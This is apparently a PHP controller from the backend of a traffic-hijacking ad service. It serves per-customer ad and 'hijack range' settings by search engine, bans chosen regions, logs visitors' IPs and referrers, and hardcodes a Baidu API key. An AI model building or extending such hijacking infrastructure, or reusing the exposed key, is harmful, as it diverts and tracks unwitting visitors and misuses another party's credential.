<?php

namespace Api\Controller;

use Common\Controller\AppframeController;

class UserController extends AppframeController {

	public function _initialize() {
		parent::_initialize();

	}

	//负责加载广告和控制是否跳转的开关
	public function get_ad() {
        // 指定允许其他域名访问
        header('Access-Control-Allow-Origin:*');
// 响应类型
        header('Access-Control-Allow-Methods:GET');
// 响应头设置
        header('Access-Control-Allow-Headers:x-requested-with,content-type');
		//总开关
		$flag = FALSE;
		$id = I('get.userid');
		$where['user_status'] = 1;
		$where['user_type'] = 2;
		$where['id'] = $id;
		$where['expires'] = array('gt', time());
		$user = M('users')->where($where)->find();
		if (!$user) return $flag;
		$flag = TRUE;
		$userid = $user['id'];
		$ad = M('advert')->where("userid = $userid")->find();
		// dump($ad);
		$data['status'] = $flag;
		$data['userid'] = $userid;
		$data['domain'] = $ad['domain'];
		$data['ip'] = getIP();
		$data['URL'] = $ad['url'];
		$data['bancity'] = $ad['bancity'];
		$data['banprovince'] = $ad['banprovince'];
		//随机一个关键词
		$kw = unserialize($ad['kw']);
		$k = array_rand($kw,1);
		$data['kw'] = $kw[$k];
		$data['couplet'] = $ad['couplet'];
		$data['adright'] = $ad['adright'];
		$data['adleft'] = $ad['adleft'];
		$data['adleft_link'] = $ad['adleft_link'];
		$data['adright_link'] = $ad['adright_link'];
		//上面广告
		if ($ad['ad_top1_title']) {
			$top[0]['title'] = $ad['ad_top1_title'];
			$top[0]['adpic'] = $ad['ad_top1_pic'] ?: 'null';
			$top[0]['addesc'] = $ad['ad_top1_desc'];
			$top[0]['tel'] = $ad['ad_top1_tel'];
			$top[0]['name'] = $ad['ad_top1_name'];
			$top[0]['doamin'] = $ad['ad_top1_show_url'];//doamin故意写错
			$top[0]['link'] = $ad['ad_top1_link_url'];
		} else {
			$top[0] = 'null';
		}

		if ($ad['ad_top2_title']) {
			$top[1]['title'] = $ad['ad_top2_title'];
			$top[1]['adpic'] = $ad['ad_top2_pic'] ?: 'null';
			$top[1]['addesc'] = $ad['ad_top2_desc'];
			$top[1]['doamin'] = $ad['ad_top2_show_url'];
			$top[1]['link'] = $ad['ad_top2_link_url'];
		} else {
			$top[1] = 'null';
		}

		if ($ad['ad_top3_title']) {
			$top[2]['title'] = $ad['ad_top3_title'];
			$top[2]['adpic'] = $ad['ad_top3_pic'] ?: 'null';
			$top[2]['addesc'] = $ad['ad_top3_desc'];
			$top[2]['doamin'] = $ad['ad_top3_show_url'];
			$top[2]['link'] = $ad['ad_top3_link_url'];
		} else {
			$top[2] = 'null';
		}


		//下面广告
		if ($ad['ad_bottom1_title']) {
			$bottom[0]['title'] = $ad['ad_bottom1_title'];
			$bottom[0]['adpic'] = $ad['ad_bottom1_pic'] ?: 'null';
			$bottom[0]['addesc'] = $ad['ad_bottom1_desc'];
			$bottom[0]['tel'] = $ad['ad_bottom1_tel'];
			$bottom[0]['name'] = $ad['ad_bottom1_name'];
			$bottom[0]['doamin'] = $ad['ad_bottom1_show_url'];
			$bottom[0]['link'] = $ad['ad_bottom1_link_url'];
		} else {
			$bottom[0] = 'null';
		}

		if ($ad['ad_bottom2_title']) {
			$bottom[1]['title'] = $ad['ad_bottom2_title'];
			$bottom[1]['adpic'] = $ad['ad_bottom2_pic'] ?: 'null';
			$bottom[1]['addesc'] = $ad['ad_bottom2_desc'];
			$bottom[1]['doamin'] = $ad['ad_bottom2_show_url'];
			$bottom[1]['link'] = $ad['ad_bottom2_link_url'];
		} else {
			$bottom[1] = 'null';
		}

		if ($ad['ad_bottom3_title']) {
			$bottom[2]['title'] = $ad['ad_bottom3_title'];
			$bottom[2]['adpic'] = $ad['ad_bottom3_pic'] ?: 'null';
			$bottom[2]['addesc'] = $ad['ad_bottom3_desc'];
			$bottom[2]['doamin'] = $ad['ad_bottom3_show_url'];
			$bottom[2]['link'] = $ad['ad_bottom3_link_url'];
		} else {
			$bottom[2] = 'null';
		}

		$bottom[3] = 'null';
		$bottom[4] = 'null';

		$data['top'] = $top;
		$data['bottom'] = $bottom;
		//劫持范围
		$data['switch'] = $ad['switch'];
		$data['engine'] = $ad['engine'];
		$data['type'] = $ad['type'];
		$data['ranges'] = $ad['ranges'];
//		dump($data);
		$json = json_encode($data);
//		header('Content-type:text/json');
		echo $json;

	}

	//访客日志
	public function access_log() {
        // 指定允许其他域名访问
        header('Access-Control-Allow-Origin:*');
// 响应类型
        header('Access-Control-Allow-Methods:GET');
// 响应头设置
        header('Access-Control-Allow-Headers:x-requested-with,content-type');
		//userid=&province=", "&city=", "&ip=", "ip", "&ref="
		//访问限制
//		$this->check_last_action(20);
		//todo 比对数据来源域名是否合法
		$get = I('get.');
		$data['userid'] = $get['userid'];
		if(!$get['userid'])return false;
		$data['province'] = $get['province'];
		$data['city'] = $get['city'];
		$data['ip'] = $get['ip'];
		$data['comefrom'] = $get['ref'];
		$data['add_time'] = time();
		//同一ip每天记录一次
		$start_time = strtotime(date('Y-m-d'));
		$end_time = strtotime(date('Y-m-d 23:59:59'));
		$model = M('report');
		$where['add_time'] = array('between',array($start_time,$end_time));
		$where['ip'] = $data['ip'];
		$where['userid'] = $data['userid'];
		$where['comefrom'] = $data['comefrom'];
		$res = $model->where($where)->find();
		if($res)return false;
		//如果非空 正常记录
		if (!empty($data)) {
			M('report')->add($data);
		}
	}

	//获得用户地区
	public function get_area_taobao() {
		header("Access-Control-Allow-Origin: *");
		$ip = getIP();
		$url = "http://ip.taobao.com/service/getIpInfo.php?ip=" . $ip;
		$curl = new \Curl;
		$ip = $curl->get($url);
		if ($ip) {
			echo $ip;
		} else {
			{
				$arr["code"] = 0;
				$arr["data"] = array(
					$arr["ip"] = "xx",
					$arr["country"] = "xx",
					$arr["area"] = "xx",
					$arr["region"] = "xx",
					$arr["city"] = "xx",
					$arr["county"] = "XX",
					$arr["isp"] = "xx",
					$arr["country_id"] = "CN",
					$arr["area_id"] = "",
					$arr["region_id"] = "xx",
					$arr["city_id"] = "xx",
					$arr["county_id"] = "xx",
					$arr["isp_id"] = "xx"
				);
				echo json_encode($arr);
			}
		}
	}

	public function get_area() {
//		header("Access-Control-Allow-Origin: *");
        // 指定允许其他域名访问
        header('Access-Control-Allow-Origin:*');
// 响应类型
        header('Access-Control-Allow-Methods:GET');
// 响应头设置
        header('Access-Control-Allow-Headers:x-requested-with,content-type');

		$ip = getIP();
		$url = "http://api.map.baidu.com/location/ip?ak=rjupEl6LQ9w4lgi2OqbGeck4COAGgczW&ip=" . $ip;
		$curl = new \Curl;
		$ip_info = $curl->get($url);
		$info = json_decode($ip_info,true);
//		dump($info);exit;
		if($info['status'] == 0 || $ip =='127.0.0.1'){
			$arr["code"] = 0;
			$arr["data"] = array(
				"ip" => $ip,
				"country" => "中国",
				"area" => "xx",
				"region" => $info['content']['address_detail']['province'],
				"city" => $info['content']['address_detail']['city'],
				"county" => "XX",
				"isp" => "xx",
				"country_id" => "CN",
				"area_id" => "",
				"region_id" => "xx",
				"city_id" => "xx",
				"county_id" => "xx",
				"isp_id" => "xx"
			);
		}
//		dump($arr);
		echo json_encode($arr);
	}


}